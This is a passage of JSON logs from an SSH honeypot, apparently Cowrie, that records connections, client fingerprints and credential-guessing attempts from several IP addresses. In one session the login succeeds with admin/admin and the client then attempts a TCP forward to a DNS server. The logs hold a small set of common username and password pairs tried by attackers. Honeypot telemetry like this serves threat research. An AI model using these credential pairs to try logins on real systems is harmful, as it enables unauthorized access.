{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:35.730276Z","src_ip":"150.95.157.171","session":"bf390b18b960","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"esadmin","message":"login attempt [root/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:36.405259Z","src_ip":"150.95.157.171","session":"bf390b18b960","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:37.572729Z","src_ip":"150.95.157.171","session":"bf390b18b960","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52244,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e44e6520005","protocol":"ssh","message":"New connection: 159.203.92.129:52244 (159.203.135.109:22) [session: 1e44e6520005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:47.948997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:47.953651Z","src_ip":"159.203.92.129","session":"1e44e6520005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:47.958231Z","src_ip":"159.203.92.129","session":"1e44e6520005","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root12345","message":"login attempt [administrator/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:47.970542Z","src_ip":"159.203.92.129","session":"1e44e6520005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:48.977326Z","src_ip":"159.203.92.129","session":"1e44e6520005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55468,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b716f71aa20","protocol":"ssh","message":"New connection: 159.203.92.129:55468 (159.203.135.109:22) [session: 5b716f71aa20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:51:30.141469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:51:30.146843Z","src_ip":"159.203.92.129","session":"5b716f71aa20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:51:30.152020Z","src_ip":"159.203.92.129","session":"5b716f71aa20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root123456","message":"login attempt [administrator/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:51:30.165938Z","src_ip":"159.203.92.129","session":"5b716f71aa20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":45158,"dst_ip":"10.17.0.5","dst_port":22,"session":"af55c0525167","protocol":"ssh","message":"New connection: 150.95.157.171:45158 (10.17.0.5:22) [session: af55c0525167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:51:30.476415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:51:30.481115Z","src_ip":"150.95.157.171","session":"af55c0525167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:51:30.645591Z","src_ip":"150.95.157.171","session":"af55c0525167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:51:31.173263Z","src_ip":"159.203.92.129","session":"5b716f71aa20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1q2w3e4r","message":"login attempt [git/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:51:31.322420Z","src_ip":"150.95.157.171","session":"af55c0525167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:51:32.483725Z","src_ip":"150.95.157.171","session":"af55c0525167","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":5518,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7a6468e330e","protocol":"ssh","message":"New connection: 87.251.64.176:5518 (10.17.0.5:22) [session: a7a6468e330e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:51:45.426933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:51:45.431582Z","src_ip":"87.251.64.176","session":"a7a6468e330e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:51:45.527693Z","src_ip":"87.251.64.176","session":"a7a6468e330e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:51:45.816016Z","src_ip":"87.251.64.176","session":"a7a6468e330e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:51:45.916457Z","session":"a7a6468e330e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:51:46.014383Z","src_ip":"87.251.64.176","session":"a7a6468e330e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:51:46.118190Z","src_ip":"87.251.64.176","session":"a7a6468e330e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":45660,"dst_ip":"159.203.135.109","dst_port":22,"session":"649570fa6f57","protocol":"ssh","message":"New connection: 185.40.30.168:45660 (159.203.135.109:22) [session: 649570fa6f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:04.689639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:04.694875Z","src_ip":"185.40.30.168","session":"649570fa6f57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:04.826147Z","src_ip":"185.40.30.168","session":"649570fa6f57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nana","message":"login attempt [root/nana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:05.375988Z","src_ip":"185.40.30.168","session":"649570fa6f57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:06.518085Z","src_ip":"185.40.30.168","session":"649570fa6f57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34332,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d824cf543a4","protocol":"ssh","message":"New connection: 159.203.92.129:34332 (159.203.135.109:22) [session: 3d824cf543a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:12.857331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:12.862156Z","src_ip":"159.203.92.129","session":"3d824cf543a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:12.867250Z","src_ip":"159.203.92.129","session":"3d824cf543a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root1234567","message":"login attempt [administrator/root1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:12.895978Z","src_ip":"159.203.92.129","session":"3d824cf543a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:13.903881Z","src_ip":"159.203.92.129","session":"3d824cf543a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":33978,"dst_ip":"10.17.0.5","dst_port":22,"session":"133b7768a5a5","protocol":"ssh","message":"New connection: 150.95.157.171:33978 (10.17.0.5:22) [session: 133b7768a5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:24.474904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:24.480245Z","src_ip":"150.95.157.171","session":"133b7768a5a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 